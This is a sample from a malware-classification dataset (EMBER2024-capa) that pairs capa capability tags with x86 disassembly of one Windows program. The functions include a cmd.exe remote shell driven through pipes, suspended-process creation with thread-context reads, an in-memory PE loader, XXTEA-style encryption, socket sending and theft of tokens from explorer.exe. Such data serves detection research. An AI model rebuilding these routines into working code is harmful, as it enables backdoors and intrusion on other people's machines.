joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408570
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x11
push 2
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
xorps xmm0, xmm0
mov eax, 2
movq qword [ebp - 0x12], xmm0
push 0
mov dword [ebp - 0xa], 0
mov word [ebp - 6], 0
mov word [ebp - 0x14], ax
mov dword [ebp - 0x10], 0
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jns 0x4085ed
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
push 0
push 0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], 0
push eax
push 0
push 0
push 4
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], 0
push eax
push 0x9800000c
push dword [esi]
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 4
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x7d0
push eax
push 0x1006
push 0xffff
push dword [esi]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
js 0x4085d4
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00415b03
mov esp, ebp
pop ebp
ret

Function at 0x408650
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x10
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x408682
test eax, eax
jne 0x408693
call edi
cmp eax, 0x2733
jne 0x408691
push 1
call esi
jmp 0x408664
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x40b3d0
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, ecx
mov dword [ebp - 8], ebx
cmp edx, 0x40
jae 0x40b3ea
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x40b3e1
mov ecx, dword [ebx + 0x3c]
lea eax, [ecx + 0xf8]
cmp edx, eax
jl 0x40b3e1
cmp dword [ecx + ebx], 0x4550
push esi
lea esi, [ecx + ebx]
jne 0x40b574
mov eax, 0x2000
test word [esi + 0x16], ax
jne 0x40b574
mov eax, 0xe0
cmp word [esi + 0x14], ax
jne 0x40b574
push edi
lea edi, [esi + 0xf8]
push edi
push esi
call fcn.0040b320
mov ecx, dword [ebp + 0x14]
add esp, 8
mov dword [ecx], eax
test eax, eax
jne 0x40b453
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 0x10]
mov dword [ebp + 0x14], eax
mov dword [ecx], eax
test eax, eax
je 0x40b566
mov ecx, dword [esi + 0x54]
movzx esi, word [esi + 6]
test esi, esi
jle 0x40b495
lea edx, [edi + 0x14]
mov eax, dword [edx]
test eax, eax
je 0x40b48c
cmp eax, ecx
cmovb ecx, eax
add edx, 0x28
dec esi
jne 0x40b481
mov eax, dword [ebp + 0x14]
push ecx
push ebx
push eax
call fcn.00415be0
mov eax, dword [ebp + 0x10]
xor edx, edx
mov ecx, dword [ebp + 0xc]
add esp, 0xc
mov dword [ebp - 4], 0
mov esi, dword [eax]
mov eax, dword [ebp + 8]
mov edi, dword [esi + 0x3c]
add edi, esi
mov dword [eax], edi
lea eax, [edi + 0xf8]
mov dword [ecx], eax
mov ecx, dword [edi + 0x38]
mov dword [ebp + 0x14], eax
mov eax, dword [edi + 0x54]
dec eax
add eax, ecx
div ecx
mov ebx, eax
xor eax, eax
imul ebx, ecx
add ebx, esi
cmp ax, word [edi + 6]
jae 0x40b566
xor edi, edi
mov edx, dword [ebp + 0x14]
mov eax, dword [edi + edx + 0xc]
test eax, eax
je 0x40b4f8
mov ecx, dword [ebp + 0x10]
mov ebx, dword [ecx]
add ebx, eax
mov eax, dword [edi + edx + 0x10]
test eax, eax
je 0x40b53c
push eax
mov eax, dword [edi + edx + 0x14]
add eax, dword [ebp - 8]
push eax
push ebx
call fcn.00415be0
mov eax, dword [ebp + 0xc]
add esp, 0xc
mov ecx, dword [eax]
mov dword [ebp + 0x14], ecx
mov eax, dword [edi + ecx + 8]
mov edx, dword [edi + ecx + 0x10]
cmp eax, edx
jae 0x40b535
mov eax, dword [ebp + 8]
mov esi, dword [eax]
mov ecx, dword [esi + 0x38]
lea eax, [ecx - 1]
add eax, edx
jmp 0x40b54b
mov ecx, dword [ebp + 8]
mov esi, dword [ecx]
jmp 0x40b545
mov eax, dword [ebp + 8]
mov esi, dword [eax]
mov eax, dword [edi + edx + 8]
mov ecx, dword [esi + 0x38]
dec eax
add eax, ecx
xor edx, edx
add edi, 0x28
div ecx
imul eax, ecx
mov ecx, dword [ebp - 4]
inc ecx
mov dword [ebp - 4], ecx
add ebx, eax
movzx eax, word [esi + 6]
cmp ecx, eax
jl 0x40b4e6
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x10
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40b770
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push esi
push edi
push 0x44
lea eax, [ebp - 0x80]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.0041a0a0
add esp, 0xc
lea eax, [ebp - 0x80]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x18], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 0x80], 0x44
mov eax, 5
mov word [ebp - 0x50], ax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x54], 0x101
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 0x8000004
push 0
push 0
push 0
push esi
push 0
test edi, edi
je 0x40b7e0
push edi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp 0x40b7e6
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 4], eax
test eax, eax
je 0x40b84d
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 0x14]
mov esi, dword [ebp + 8]
mov edx, dword [ebp - 0x14]
mov dword [ebx], eax
mov eax, dword [ebp + 0x10]
push esi
push edx
mov dword [esi], 0x10007
mov dword [eax], edx
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edi, dword [ebp + 0x18]
lea eax, [ebp - 8]
push eax
mov eax, dword [esi + 0xa4]
push 4
push edi
add eax, 8
push eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [edi]
lea eax, [ebp - 0x34]
push 0x1c
push eax
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov eax, dword [ebp + 0x1c]
sub esi, dword [edi]
mov dword [eax], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d050
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
test eax, eax
jg 0x40d073
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push eax
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x40d0a3
cmp eax, 0xffffffff
je 0x40d0a3
add edi, eax
add esi, eax
sub ebx, eax
cmp edi, dword [ebp + 8]
jge 0x40d067
push 0
push ebx
push esi
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jne 0x40d082
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d0b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov ebx, ecx
mov esi, edx
push edi
xor edi, edi
mov dword [ebp - 0xc], esi
mov ecx, dword [ebx]
mov dword [ebp - 4], ecx
cmp esi, 1
jle 0x40d19f
mov ecx, dword [ebp - 0xc]
lea eax, [esi - 1]
lea eax, [ebx + eax*4]
mov esi, dword [ebx + esi*4 - 4]
mov dword [ebp - 0x10], eax
mov eax, 0x34
cdq
idiv ecx
add eax, 6
test eax, eax
jle 0x40d196
dec ecx
mov dword [ebp - 0xc], ecx
jmp 0x40d100
dec eax
sub edi, 0x61c38647
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 8], edi
mov dword [ebp - 4], eax
test ecx, ecx
jle 0x40d154
mov edx, dword [ebx + eax*4 + 4]
mov edi, esi
shl edi, 4
mov eax, edx
shr eax, 3
mov ecx, esi
xor esi, dword [ebp + 8]
xor edi, eax
shr ecx, 5
lea eax, [edx*4]
xor ecx, eax
mov eax, dword [ebp - 8]
xor eax, edx
add edi, ecx
add eax, esi
xor edi, eax
mov eax, dword [ebp - 4]
add dword [ebx + eax*4], edi
mov esi, dword [ebx + eax*4]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [ebp - 0xc]
jl 0x40d116
mov edx, dword [ebx]
mov edi, esi
shl edi, 4
mov eax, edx
shr eax, 3
mov ecx, esi
xor esi, dword [ebp + 8]
xor edi, eax
shr ecx, 5
lea eax, [edx*4]
xor ecx, eax
mov eax, dword [ebp - 8]
xor eax, edx
add edi, ecx
mov ecx, dword [ebp - 0xc]
add eax, esi
xor edi, eax
mov eax, dword [ebp - 0x10]
add dword [eax], edi
mov esi, dword [eax]
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 8]
test eax, eax
jg 0x40d100
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
jge 0x40d261
mov eax, 0x34
neg esi
cdq
idiv esi
add eax, 6
imul eax, eax, 0x9e3c79b9
mov dword [ebp - 8], eax
test eax, eax
je 0x40d196
lea eax, [ebx - 4]
lea edx, [esi - 1]
lea eax, [eax + esi*4]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], eax
mov edi, edx
test edi, edi
jle 0x40d211
mov edx, dword [ebx + edi*4 - 4]
mov eax, ecx
shr eax, 3
mov esi, edx
shl esi, 4
mov ecx, edx
xor edx, dword [ebp + 8]
xor esi, eax
mov eax, dword [ebp - 4]
shl eax, 2
shr ecx, 5
xor ecx, eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 4]
add esi, ecx
add eax, edx
xor esi, eax
sub dword [ebx + edi*4], esi
mov ecx, dword [ebx + edi*4]
dec edi
mov dword [ebp - 4], ecx
test edi, edi
jg 0x40d1d7
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 4]
mov edx, dword [eax]
mov eax, ecx
shr eax, 3
mov esi, edx
shl esi, 4
mov ecx, edx
xor edx, dword [ebp + 8]
xor esi, eax
shr ecx, 5
lea eax, [edi*4]
xor ecx, eax
mov eax, dword [ebp - 8]
xor eax, edi
add esi, ecx
add eax, edx
mov edx, dword [ebp - 0x10]
xor esi, eax
sub dword [ebx], esi
add dword [ebp - 8], 0x61c38647
mov ecx, dword [ebx]
mov dword [ebp - 4], ecx
jne 0x40d1d1
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d8c0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov dword [ebp - 4], 0
mov eax, dword [esi + 0x46c]
test eax, eax
je 0x40d9fb
cmp byte [eax + 3], 0
push 0
push 0x80
jne 0x40d9b0
push 4
push 0
push 1
push 0x40000000
add eax, 0x21c
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [esi + 0x46c]
mov dword [ecx + 0x10], eax
mov eax, dword [esi + 0x46c]
mov ecx, dword [eax + 0x10]
cmp ecx, 0xffffffff
je 0x40d9f7
lea eax, [ebp - 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esi + 0x46c]
mov dword [ecx + 8], eax
cmp dword [ebp - 4], 0
mov eax, dword [esi + 0x46c]
je 0x40d968
mov byte [eax + 2], 2
mov eax, dword [esi + 0x46c]
push dword [eax + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x46c]
pop esi
mov dword [eax + 0x10], 0xffffffff
xor eax, eax
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x40d984
cmp dword [eax + 8], ecx
je 0x40d984
mov byte [eax + 2], 1
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 4
push dword [eax + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x46c]
mov dword [eax + 0x10], 0xffffffff
mov eax, dword [esi + 0x46c]
pop esi
mov byte [eax + 2], 3
mov eax, 1
mov esp, ebp
pop ebp
ret 4
push 3
push 0
push 1
push 0x80000000
add eax, 0x21c
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [esi + 0x46c]
mov dword [ecx + 0x10], eax
mov eax, dword [esi + 0x46c]
mov ecx, dword [eax + 0x10]
cmp ecx, 0xffffffff
je 0x40d9f7
lea eax, [ebp - 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esi + 0x46c]
mov dword [ecx + 4], eax
jmp 0x40d933
mov byte [eax + 2], 2
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x40dc10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov dword [ebp - 4], 0
mov eax, dword [esi + 0x46c]
test eax, eax
je 0x40dcad
cmp byte [eax + 2], 1
jne 0x40dcad
push edi
push 0
push 0
push dword [eax + 8]
push dword [eax + 0x10]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov eax, dword [esi + 0x46c]
push dword [ebp + 8]
push dword [eax + 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
test edi, edi
je 0x40dc75
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jne 0x40dc75
mov eax, dword [esi + 0x46c]
add dword [eax + 8], ecx
mov ecx, dword [esi + 0x46c]
mov eax, dword [ecx + 8]
cmp eax, dword [ecx + 4]
jne 0x40dca3
mov byte [ecx + 2], 3
mov eax, dword [esi + 0x46c]
push dword [eax + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x46c]
mov dword [eax + 0x10], 0xffffffff
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x40e1e0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov byte [ebp - 0x24], 0
push 0x206
push eax
mov word [ebp - 0x22c], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x22a]
movq qword [ebp - 0x13], xmm0
push eax
mov edi, ecx
mov dword [ebp - 0xb], 0
movdqu xmmword [ebp - 0x23], xmm0
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
call fcn.0041a0a0
add esp, 0xc
mov dword [ebp - 0x230], 0x20
lea eax, [edi + 0x160]
xorps xmm0, xmm0
lea ecx, [ebp - 0x230]
movdqu xmmword [eax], xmm0
push ecx
push eax
movdqu xmmword [eax + 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ecx
lea eax, [ebp - 0x24]
push eax
call fcn.0040e390
lea esi, [ebp - 0x24]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x40e272
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x24]
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
sub esi, ecx
call ebx
lea ecx, [esi + 1]
cmp ecx, eax
jb 0x40e2ac
push eax
lea eax, [edi + 0x180]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x24]
push eax
push 0
push 0
call ebx
mov ecx, str.1.4.4
lea edx, [edi + 0x1a0]
sub edx, ecx
lea esp, [esp]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x40e2c0
lea eax, [edi + 0x14]
mov dword [eax], 0x11c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [edi + 0xc], eax
call ebx
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
lea eax, [ebp - 0x22c]
push eax
push esi
call fcn.0040e420
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x22c]
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e320
sub ecx, edx
sar ecx, 1
je 0x40e360
cmp ecx, 0x14
ja 0x40e360
lea ecx, [ebp - 0x22c]
lea edx, [edi + 0x130]
mov eax, ecx
sub edx, eax
jmp 0x40e350
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x40e350
call ebx
mov ecx, dword [ebp - 4]
mov word [edi + 0x10], ax
xor ecx, ebp
mov dword [edi + 4], 0x2710
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.00415b03
mov esp, ebp
pop ebp
ret

Function at 0x40e390
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0xff
push 0
push eax
call fcn.0041a0a0
add esp, 0xc
lea eax, [ebp - 0x104]
push 0xff
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
sub esi, eax
jmp 0x40e3f0
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [esi + eax - 1], cl
test cl, cl
jne 0x40e3f0
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop esi
call fcn.00415b03
mov esp, ebp
pop ebp
ret 8
Function at 0x40eb50
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov ecx, 0x434ff4
call fcn.0040eab0
test eax, eax
je 0x40ed79
mov ecx, str.SeIncreaseQuotaPrivilege
call fcn.0040eab0
test eax, eax
je 0x40ed79
xor eax, eax
mov dword [ebp - 0x448], 0
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.0041a0a0
add esp, 0xc
mov dword [ebp - 0x440], 0
lea eax, [ebp - 0x43c]
push 0x228
push 0
push eax
call fcn.0041a0a0
add esp, 0xc
xor ebx, ebx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x444], eax
cmp eax, 0xffffffff
je 0x40ed79
lea ecx, [ebp - 0x440]
mov dword [ebp - 0x440], 0x22c
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40ed5a
mov eax, 4
lea ecx, [ebp - 0x210]
sub eax, ecx
mov dword [ebp - 0x44c], eax
push str.EXPLORER.EXE
call fcn.00416aff
add esp, 4
mov esi, eax
lea eax, [ebp - 0x41c]
push eax
call fcn.00416aff
add esp, 4
nop
mov cx, word [eax]
cmp cx, word [esi]
jne 0x40ec66
test cx, cx
je 0x40ec62
mov cx, word [eax + 2]
cmp cx, word [esi + 2]
jne 0x40ec66
add eax, 4
add esi, 4
test cx, cx
jne 0x40ec40
xor eax, eax
jmp 0x40ec6b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40ed19
push dword [ebp - 0x438]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
lea edx, [ebp - 0x210]
push ecx
mov ecx, esi
call fcn.0040e8b0
add esp, 4
test eax, eax
je 0x40ed0e
lea ecx, [ebp - 0x210]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40eca5
sub ecx, edx
sar ecx, 1
cmp ecx, 0x40
ja 0x40ed0e
cmp ebx, 0x20
je 0x40ed53
lea eax, [ebp - 0x448]
push eax
push 0xf01ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40ed0e
mov edx, dword [ebp - 0x44c]
lea ecx, [ebp - 0x210]
add edx, edi
jmp 0x40ecf0
movzx eax, word [ecx]
mov word [edx + ecx], ax
add ecx, 2
test ax, ax
jne 0x40ecf0
mov eax, dword [ebp - 0x448]
inc ebx
mov dword [edi], eax
add edi, 0x84
test esi, esi
je 0x40ed19
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x440]
push eax
push dword [ebp - 0x444]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40ec21
push dword [ebp - 0x444]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x444]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00415b03
mov esp, ebp
pop ebp
ret
Function at 0x40efc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov dword [esi], vtable.CCmdShell.0
mov byte [esi + 8], 0
mov dword [esi + 0x1c], 0
call fcn.0040f0c0
test eax, eax
je 0x40effa
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x40f290
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x18], eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40f010
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
push 0xffffffffffffffff
push dword [esi + 0x18]
mov dword [esi], vtable.CCmdShell.0
mov dword [esi + 4], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 4
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [esi + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x10]
call edi
push dword [esi + 0xc]
call edi
push dword [esi + 0x18]
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x40f065
push eax
call edi
mov dword [esi + 0x1c], 0
test byte [ebp + 8], 1
je 0x40f074
push esi
call fcn.00415bcd
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x40f080
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [esi], vtable.CCmdShell.0
mov dword [esi + 0x1c], eax
mov byte [esi + 8], 0
call fcn.0040f0c0
test eax, eax
je 0x40f0b8
lea eax, [ebp + 8]
push eax
push 0
push esi
push 0x40f290
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x18], eax
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x40f0c0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x228]
push edi
mov ebx, ecx
mov dword [ebp - 0x228], 0xc
push 0
push eax
mov dword [ebp - 0x224], 0
lea eax, [ebx + 0xc]
mov dword [ebp - 0x220], 1
push eax
lea eax, [ebp - 0x210]
push eax
call esi
push 0
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x21c], 0xc
push eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x218], 0
push eax
lea eax, [ebx + 0x10]
mov dword [ebp - 0x214], 1
push eax
call esi
push 0x44
lea eax, [ebp - 0x280]
push 0
push eax
call fcn.0041a0a0
add esp, 0xc
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor eax, eax
mov dword [ebp - 0x254], 0x101
mov word [ebp - 0x250], ax
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x20c]
mov dword [ebp - 0x244], eax
mov dword [ebp - 0x240], eax
lea eax, [ebp - 0x208]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x208]
add eax, 0xfffffffe
mov cx, word [eax + 2]
lea eax, [eax + 2]
test cx, cx
jne 0x40f1b2
mov ecx, dword [str.cmd.exe]
mov dword [eax], ecx
mov ecx, dword [0x435454]
mov dword [eax + 4], ecx
mov ecx, dword [0x435458]
mov dword [eax + 8], ecx
mov ecx, dword [0x43545c]
mov dword [eax + 0xc], ecx
mov cx, word [0x435460]
mov word [eax + 0x10], cx
mov eax, dword [ebx + 0x1c]
test eax, eax
je 0x40f222
lea ecx, [ebp - 0x238]
push ecx
lea ecx, [ebp - 0x280]
push ecx
push 0
push 0
push 0x8000000
push 1
push 0
push 0
lea ecx, [ebp - 0x208]
push ecx
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp 0x40f24b
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x280]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x234]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
mov eax, dword [ebp - 0x238]
mov dword [ebx + 0x14], eax
call esi
push dword [ebp - 0x210]
call esi
push dword [ebp - 0x20c]
call esi
mov ecx, dword [ebp - 4]
mov eax, edi
mov dword [ebx + 4], edi
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00415b03
mov esp, ebp
pop ebp
ret
Function at 0x4104b0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov edx, 0xd40
push esi
push edi
push dword [0x43a7a0]
mov edi, ecx
mov ecx, 0x43a7a4
call fcn.0040d360
mov eax, dword [0x43a7a4]
add esp, 4
test eax, eax
je 0x4105b4
cmp eax, 1
je 0x4104ec
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
je 0x41051a
push 4
push 0x43a8b4
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
test eax, eax
jne 0x410535
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call fcn.00410e00
test eax, eax
jne 0x410543
call fcn.004105d0
cmp eax, 1
jne 0x410598
push 4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push dword [ebp - 4]
call esi
call fcn.00410db0
cmp eax, 1
jne 0x410586
cmp dword [0x43a7ac], 0
jne 0x410586
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x43a8b4
push eax
mov dword [ebp - 0x10], 0x415050
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
je 0x410586
cmp dword [ebp - 4], 0
jne 0x4105c4
mov ecx, edi
